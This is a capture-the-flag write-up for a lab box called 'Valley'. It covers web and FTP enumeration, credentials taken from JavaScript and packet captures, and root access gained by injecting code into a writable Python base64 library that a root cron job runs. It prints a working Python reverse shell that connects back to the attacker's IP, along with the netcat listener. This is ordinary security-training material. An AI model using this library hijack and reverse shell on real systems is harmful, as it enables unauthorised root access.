Field notes
CTF : Valley
Informations
- IP: 10.10.211.130
- MYIP: 10.11.22.97
First enumeration
Basics
- NMAP
$ nmap -p22,80,37370 -A 10.10.211.130
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-02 17:11 CEST
Nmap scan report for 10.10.211.130
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
| 256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
|_ 256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
37370/tcp open ftp vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Vulnerabilities search
Let's take a look at the web server.
gobuster dir -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.211.130/static/ -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub,jar
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.211.130/static/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: cgi,tgz,tar.gz,tar,xml,json,sh,rb,pub,zip,bkp,html,txt,js,php,php.bak,sql,log,csv,jar,bak,sql.bak,rar,id_rsa,py,pl
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2023/07/02 17:21:29 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 278]
/12 (Status: 200) [Size: 2203486]
/11 (Status: 200) [Size: 627909]
/10 (Status: 200) [Size: 2275927]
/1 (Status: 200) [Size: 2473315]
/2 (Status: 200) [Size: 3627113]
/3 (Status: 200) [Size: 421858]
/4 (Status: 200) [Size: 7389635]
/13 (Status: 200) [Size: 3673497]
/14 (Status: 200) [Size: 3838999]
/15 (Status: 200) [Size: 3477315]
/16 (Status: 200) [Size: 2468462]
/18 (Status: 200) [Size: 2036137]
/5 (Status: 200) [Size: 1426557]
/6 (Status: 200) [Size: 2115495]
/17 (Status: 200) [Size: 3551807]
/9 (Status: 200) [Size: 1190575]
/7 (Status: 200) [Size: 5217844]
/8 (Status: 200) [Size: 7919631]
/00 (Status: 200) [Size: 127]
http://10.10.211.130/static/00 leads to this note :
dev notes from valleyDev: -add wedding photo examples -redo the editing on #4 -remove /dev1243224123123 -check for SIEM alerts
So I gone to http://10.10.211.130/dev1243224123123/
And I found a login form. This form calls http://10.10.211.130/dev1243224123123/dev.js
This js file contains this section :
if (username === "siemDev" && password === "********") {
window.location.href = "/dev1243224123123/devNotes37370.txt";
} else {
loginErrorMsg.style.opacity = 1;
}
So I entered those creds and a new note appeared :
dev notes for ftp server: -stop reusing credentials -check for any vulnerabilies -stay up to date on patching -change ftp port to normal port
So, they maybe use those creds for ftp service on port 37370.
That was correct and I managed to login.
ftp> ls -al
229 Entering Extended Passive Mode (|||52391|)
150 Here comes the directory listing.
dr-xr-xr-x 2 1001 1001 4096 Mar 06 14:06 .
dr-xr-xr-x 2 1001 1001 4096 Mar 06 14:06 ..
-rw-rw-r-- 1 1000 1000 7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
ftp>
Allright those are packet capture files. So I used wireshark to explore them. First, I needed to merge siemHTTP1.pcapng and siemHTTP2.pcapng
And, finaly, I found a HTTP POST message with those informations :
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "uname" = "valleyDev"
Form item: "psw" = "*******"
Form item: "remember" = "on"
Exploit
With those informations I managed to login through SSH.
Privilege escalation
Enumeration for privesc
The user flag is here : $ cat user.txt
Let's gather some information :
$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
$ sudo -l
[sudo] password for valleyDev:
Sorry, user valleyDev may not run sudo on valley.
valley:x:1000:1000:,,,:/home/valley:/bin/bash
siemDev:x:1001:1001::/home/siemDev/ftp:/bin/sh
valleyDev:x:1002:1002::/home/valleyDev:/bin/bash
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1 * * * * root python3 /photos/script/photosEncrypt.py
I found a x64 binary file named valleyAuthenticator in /home.
First I needed to uncompress this binary using upx :
upx -d valleyAuthenticator
Then using ghidra's strings search tool I found two strings that seemed to be hashes.
I put those two hashes into crackstation. First one was a hash for "valley" and second one a password.
I used those creds and manage to switch to valley user.
Now we know that the /photos/script/photosEncrypt.py is ran by root through crontab.
Let's have a look to this script
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
image_path = "/photos/p" + str(i) + ".jpg"
# open the image file and read its contents
with open(image_path, "rb") as image_file:
image_data = image_file.read()
# encode the image data in Base64 format
encoded_image_data = base64.b64encode(image_data)
# specify the path to the output file
output_path = "/photos/photoVault/p" + str(i) + ".enc"
# write the Base64-encoded image data to the output file
with open(output_path, "wb") as output_file:
output_file.write(encoded_image_data)
I have been stuck for a while there until I found this :
$ ls -al /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py
Members of group valleyAdmin can modify this lib.
$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
Exploit
So I tried to add this content in /usr/lib/python3.8/base64.py :
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.22.97",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
And, on attacker side, I launched a nc listner :
nc -nlvp 1234
After a minute I got a root shell \o/
cat /root/root.txt